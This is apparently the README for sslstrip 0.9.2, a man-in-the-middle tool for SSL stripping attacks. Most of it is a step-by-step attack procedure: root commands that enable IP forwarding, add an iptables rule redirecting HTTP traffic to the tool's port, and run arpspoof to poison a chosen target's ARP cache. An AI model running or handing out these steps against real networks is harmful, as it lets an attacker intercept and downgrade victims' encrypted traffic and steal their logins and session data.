sslstrip 0.9.2

sslstrip is a MITM tool that implements Moxie Marlinspike’s SSL stripping attacks.

It requires Python 2.5 or newer, along with the ‘twisted’ python module.

Installing:

pip install sslstrip

Running:

sslstrip can be run from the source base without installation. Just run ‘python sslstrip.py -h’ as a non-root user to get the command-line options.

The four steps to getting this working (assuming you’re running Linux) are:

1. Flip your machine into forwarding mode (as root): echo “1” > /proc/sys/net/ipv4/ip_forward

2. Setup iptables to intercept HTTP requests (as root): iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port <yourListenPort>

3. Run sslstrip with the command-line options you’d like (see above).

4. Run arpspoof to redirect traffic to your machine (as root): arpspoof -i <yourNetworkdDevice> -t <yourTarget> <theRoutersIpAddress>

More Info:

http://www.thoughtcrime.org/software/sslstrip/